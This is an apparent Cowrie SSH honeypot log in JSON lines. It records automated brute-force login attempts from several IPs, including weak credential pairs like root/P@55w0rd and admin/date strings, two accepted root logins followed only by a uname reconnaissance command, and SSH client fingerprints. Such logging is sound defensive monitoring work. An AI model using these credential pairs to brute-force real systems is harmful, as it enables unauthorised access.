{"eventid":"cowrie.login.success","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:31.290154Z","src_ip":"101.44.96.62","session":"db85cef7728a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:31.766161Z","src_ip":"101.44.96.62","session":"db85cef7728a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:31.769026Z","src_ip":"101.44.96.62","session":"db85cef7728a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:31.990330Z","src_ip":"101.44.96.62","session":"db85cef7728a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:31.995448Z","src_ip":"101.44.96.62","session":"db85cef7728a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":54784,"dst_ip":"159.203.135.109","dst_port":22,"session":"677a8e0e51be","protocol":"ssh","message":"New connection: 101.44.96.62:54784 (159.203.135.109:22) [session: 677a8e0e51be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:43.905697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:43.909975Z","src_ip":"101.44.96.62","session":"677a8e0e51be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:44.126637Z","src_ip":"101.44.96.62","session":"677a8e0e51be","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1234567890","message":"login attempt [root/1234567890] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:44.775548Z","src_ip":"101.44.96.62","session":"677a8e0e51be","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:45.243781Z","src_ip":"101.44.96.62","session":"677a8e0e51be","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:45.247028Z","src_ip":"101.44.96.62","session":"677a8e0e51be","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:45.466388Z","src_ip":"101.44.96.62","session":"677a8e0e51be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:45.470524Z","src_ip":"101.44.96.62","session":"677a8e0e51be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":53556,"dst_ip":"159.203.135.109","dst_port":22,"session":"e721908c001f","protocol":"ssh","message":"New connection: 101.44.96.62:53556 (159.203.135.109:22) [session: e721908c001f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:57.371392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:57.376528Z","src_ip":"101.44.96.62","session":"e721908c001f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:57.593312Z","src_ip":"101.44.96.62","session":"e721908c001f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:58.244693Z","src_ip":"101.44.96.62","session":"e721908c001f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:59.465642Z","src_ip":"101.44.96.62","session":"e721908c001f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":41941,"dst_ip":"159.203.135.109","dst_port":22,"session":"a167ebb0289b","protocol":"ssh","message":"New connection: 2.57.121.112:41941 (159.203.135.109:22) [session: a167ebb0289b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:08.827649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:08.832961Z","src_ip":"2.57.121.112","session":"a167ebb0289b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:08.932947Z","src_ip":"2.57.121.112","session":"a167ebb0289b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"02022000","message":"login attempt [admin/02022000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:09.415024Z","src_ip":"2.57.121.112","session":"a167ebb0289b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60826,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1763c8fe38d","protocol":"ssh","message":"New connection: 195.178.110.218:60826 (159.203.135.109:22) [session: a1763c8fe38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:10.502590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:10.506951Z","src_ip":"195.178.110.218","session":"a1763c8fe38d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"02012011","message":"login attempt [admin/02012011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:10.518924Z","src_ip":"2.57.121.112","session":"a167ebb0289b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:10.582530Z","src_ip":"195.178.110.218","session":"a1763c8fe38d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:10.808489Z","src_ip":"195.178.110.218","session":"a1763c8fe38d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":39494,"dst_ip":"159.203.135.109","dst_port":22,"session":"56c06882740a","protocol":"ssh","message":"New connection: 101.44.96.62:39494 (159.203.135.109:22) [session: 56c06882740a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:10.850692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:10.857520Z","src_ip":"101.44.96.62","session":"56c06882740a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:11.074627Z","src_ip":"101.44.96.62","session":"56c06882740a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"02011997","message":"login attempt [admin/02011997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:11.621052Z","src_ip":"2.57.121.112","session":"a167ebb0289b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:11.726709Z","src_ip":"101.44.96.62","session":"56c06882740a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:11.884696Z","src_ip":"195.178.110.218","session":"a1763c8fe38d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0120","message":"login attempt [admin/0120] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:12.723567Z","src_ip":"2.57.121.112","session":"a167ebb0289b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:12.946237Z","src_ip":"101.44.96.62","session":"56c06882740a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01121971","message":"login attempt [admin/01121971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:13.826123Z","src_ip":"2.57.121.112","session":"a167ebb0289b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:14.929278Z","src_ip":"2.57.121.112","session":"a167ebb0289b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":33802,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba7ff3e545d6","protocol":"ssh","message":"New connection: 101.44.96.62:33802 (159.203.135.109:22) [session: ba7ff3e545d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:24.377914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:24.384762Z","src_ip":"101.44.96.62","session":"ba7ff3e545d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:24.615592Z","src_ip":"101.44.96.62","session":"ba7ff3e545d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"observer","password":"observer123","message":"login attempt [observer/observer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:25.267388Z","src_ip":"101.44.96.62","session":"ba7ff3e545d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:26.486771Z","src_ip":"101.44.96.62","session":"ba7ff3e545d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":35362,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cbbf5f1403c","protocol":"ssh","message":"New connection: 101.44.96.62:35362 (159.203.135.109:22) [session: 2cbbf5f1403c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:37.873656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:37.878225Z","src_ip":"101.44.96.62","session":"2cbbf5f1403c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:38.095726Z","src_ip":"101.44.96.62","session":"2cbbf5f1403c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:38.748340Z","src_ip":"101.44.96.62","session":"2cbbf5f1403c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:39.968028Z","src_ip":"101.44.96.62","session":"2cbbf5f1403c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":60078,"dst_ip":"159.203.135.109","dst_port":22,"session":"499bfdf62fcd","protocol":"ssh","message":"New connection: 101.44.96.62:60078 (159.203.135.109:22) [session: 499bfdf62fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:51.361912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:51.371860Z","src_ip":"101.44.96.62","session":"499bfdf62fcd","protocol":"ssh"}
